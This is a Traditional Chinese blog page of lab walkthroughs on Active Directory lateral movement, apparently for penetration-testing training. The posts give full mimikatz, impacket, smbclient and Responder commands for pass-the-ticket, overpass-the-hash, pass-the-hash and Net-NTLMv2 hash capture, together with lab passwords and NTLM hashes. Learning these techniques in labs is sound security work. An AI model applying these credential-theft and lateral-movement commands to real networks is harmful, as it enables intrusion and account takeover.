發表文章

目前顯示的是有「HASH」標籤的文章

Active Directory 中的橫向移動 - PtT

圖片
 Active Directory 中的橫向移動 - PtT Pass the Ticket 使用 CORP\jen / Nexus123! RDP 登入到 Client76 └─$ xfreerdp /u:jen /p:'Nexus123!' /d:corp.com /v:192.168.191.76 直接存取 web04 上的 backup 資料夾看看 ls \\web04\backup 直接顯示 Access is denied 啟動 mimikatz 然後開啟 debug mode : privilege::debug 接著輸入 sekurlsa::tickets /export 從記憶體中匯出所有 TGT/TGS 可以看到 dave 的 Session Key 退出 mimikatz 執行 dir *.kirbi 這是因為 sekurlsa::tickets /export 顯示出來的結果是解析記憶體中的 LSASS 進程空間以查找任何 TGT/TGS,然後以 kirbi mimikatz 格式儲存到磁碟,所以我們直接列出所有的 *.kirbi 如下 因為我們的目標是 web04 所以將相關的 *.kirbi 專注在有 web04 的地方 可以看到是 dave @ web04,其中一筆是 [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 透過 mimikatz 的 ptt 方式執行 kerberos::ptt [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 再 klist 看一下,可以看到網域中 dave 的憑證了 針對的伺服器是 cifs/web04@corp.com 再執行 ls \\web04\backup 這一次沒有 Access is denied 了,直接列出相關的資源供查看 練習 : 與上面一樣,最後拿那個分享資料夾的 flag.txt 直接將 ls 改 type 即可讀取

Active Directory 中的橫向移動 - OPtH

圖片
 Active Directory 中的橫向移動 - OPtH 透過overpass the hash,我們可以「過度」濫用 NTLM 使用者哈希來獲得完整的 Kerberos 票證授予票證(TGT)。然後我們可以使用 TGT 來取得票據授予服務(TGS)。 先用已知的帳號密碼 jeff / HenchmanPutridBonbon11 登入到 Client76 └─$ xfreerdp /u:jeff /p:'HenchmanPutridBonbon11' /d:corp.com /v:192.168.191.76 按住 Shift 與滑鼠右鍵開啟某文字檔用另外一個使用者身分 這裡我們用網域的帳號密碼 jen / Nexus123! 來執行 Notepad 開啟後沒有任何需要,目的是要 jen 的憑證本機快取,所以可以直接關掉 接著直接執行 mimikatz,標準步驟 privilege::debug 再 sekurlsa::logonpasswords 目的是 jen 的 NTLM HASH "369def79d8372408bf6e93364cc93075" 接著一樣使用 mimikatz 工具執行 sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell 雖然使用的是 HASH PtH 驗證,但本質會將 NTLM 雜湊轉換為 Kerberos 票證並避免使用 NTLM 驗證,這是 sekurlsa::pth 指令的結果 如下圖,執行完畢後可以看到直接開啟了另一個 Powershell 視窗 但驗證 whoami 後卻發現是 jeff 而不是 jen,這是因為 whoami 無法檢查 Kerberos Token 執行 klist 可以看到也沒有 kerbers Token 接著我們使用 net use \\files04 後再執行一次 Klist 如下圖,可以看到都是帶入 jen 的驗證 這時候已經包含了 TGT & TGS 票眷 現在,我們已將 NTLM 雜湊轉換為 Kerberos TGT,從而允許我們使用任何依賴 Kerberos 驗證(而不是 ...

Active Directory 中的橫向移動 - PtH

圖片
 Active Directory 中的橫向移動 - PtH PtH 允許攻擊者使用使用者的 NTLM 雜湊而不是關聯的明文密碼,直接對遠端系統或服務進行身份驗證,請注意,這不適用於 Kerberos 驗證,而僅適用於使用 NTLM 驗證的伺服器或服務。 重點在於攻擊者使用伺服器訊息區塊(SMB) 協定連接到受害者,並使用 NTLM 雜湊執行身份驗證,所以目標機器必須有開啟 445 Port SMB 服務 之前拿到了 Files04 本機 Administrator 的 HASH "2892D26CDF84D7A70E2EB3B9F05C425E " 所以讓我們直接在 kali 攻擊機上使用 impacket-wmiexec 進行 PtH 如下指令 └─$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.191.73 登入後 whoami、hostname、ipconfig 看一下確實是 Files04 機器 練習 : 執行傳遞哈希技術以橫向移動到 web04 以取得位於管理員桌面上的標誌 直接執行指令 └─$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.191.72 看來每一台的 Administrator 使用的密碼都一樣,可以登入那就直接 type 拿 flag 吧

NET-NTLMv2 密碼破解

圖片
 NET-NTLMv2 密碼破解 靶機 IP : 192.168.197.211 第一步 rustscan,└─$ rustscan -a 192.168.197.211 --scripts none --ulimit 500 135、139、445、3389、4444、5555、5985、47001、etc... nmap 列舉這幾個 Port,└─$ sudo nmap -sV -sC -p 135,139,445,3389,4444,5555,5985 192.168.197.211 上圖可以看到有一個 4444 Port 是 krb524,透過 nc 直接連接時發現可以直接拿到 shell 這是因為有一個假設的前提,前提是我們已經有透過 paul 帳號初步滲透並在對方的 4444 Port 上綁定了 Remote Shell,所以此時才能直接使用 nc 進行 remote shell 連接 執行 ipconfig 確認是該台機器的 shell,whoami 查看使用者是 paul 透過 net user paul 查看使用者的進一步資訊,僅隸屬於遠端桌面群組 在我們的攻擊機上執行 ip a 查看相關 Interface 介面與資訊,我們需要的是 tun0 這個介面 192.168.45.228 是我們攻擊機的與靶機有路由的介面 IP 執行 └─$ sudo responder -I tun0,於介面 tun0 上啟動 responder 監聽,接下來主要要透過 SMB 這個服務來監聽所有傳入的驗證,確認 SMB 服務在 responder 是 ON 的狀態 接下來從剛剛的 remote shell 執行 dir \\192.168.45.228\test,可以看到存取失敗 在 responder 服務上可以看到從靶機傳過來的驗證,使用者是 FILES01\paul,密碼是雜湊如下 paul::FILES01:f9d057cea7136add:883BA6449490AD7910962CEDAF7DA112:01010000000000008017673550EBD901F4031B80844971500000000002000800310050003500500001001E00570049004E002D00370037005A0044003500...

NTLM PtH

圖片
 NTLM PtH 已知靶機 192.168.197.211,帳號 / 密碼 : gunther / password123! 透過 PTH 技術登入到靶機 192.168.197.212 並在 Administrator 桌面上找到 Flag  第一步先用已知的帳號密碼登入 192.168.197.211 登入後輸入 \\192.168.197.212\secrets,會跳出如下的帳號密碼驗證視窗 使用 gunther 與密碼 password123! 無法登入,所以看來第二台沒有該帳號權限 先抓取現有登入機器的 administrator 帳號 HASH 如下 7a38310ea6f0027ee955abed1762964b 從攻擊機直接透過 smbclient 指令,並指定使用者 administrator 然後密碼用 HASH 登入測試 └─$ smbclient \\\\192.168.197.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b 可以看到成功登入了 接下來使用 impacket 庫中的 psexec.py 腳本來拿 remote shell 由於 HASH 的格式為 "LMHash:NTHash" (LM 在現今系統已無使用,但還是要輸入不可空白) 使用如下指令登入,記得 LM Hash 要輸入一樣的長度,直接用 0 代替即可 └─$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.197.212 直接就拿到 remote shell 了,ipconfig 看一下確定是 192.168.197.212 那一台 直接到管理員桌面拿 flag 吧 因為 impacket 當中包含了許多指令與套件,我們可以使用另外一個 wmiexec 也可以成功拿到 remote shell,指令 └─$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0...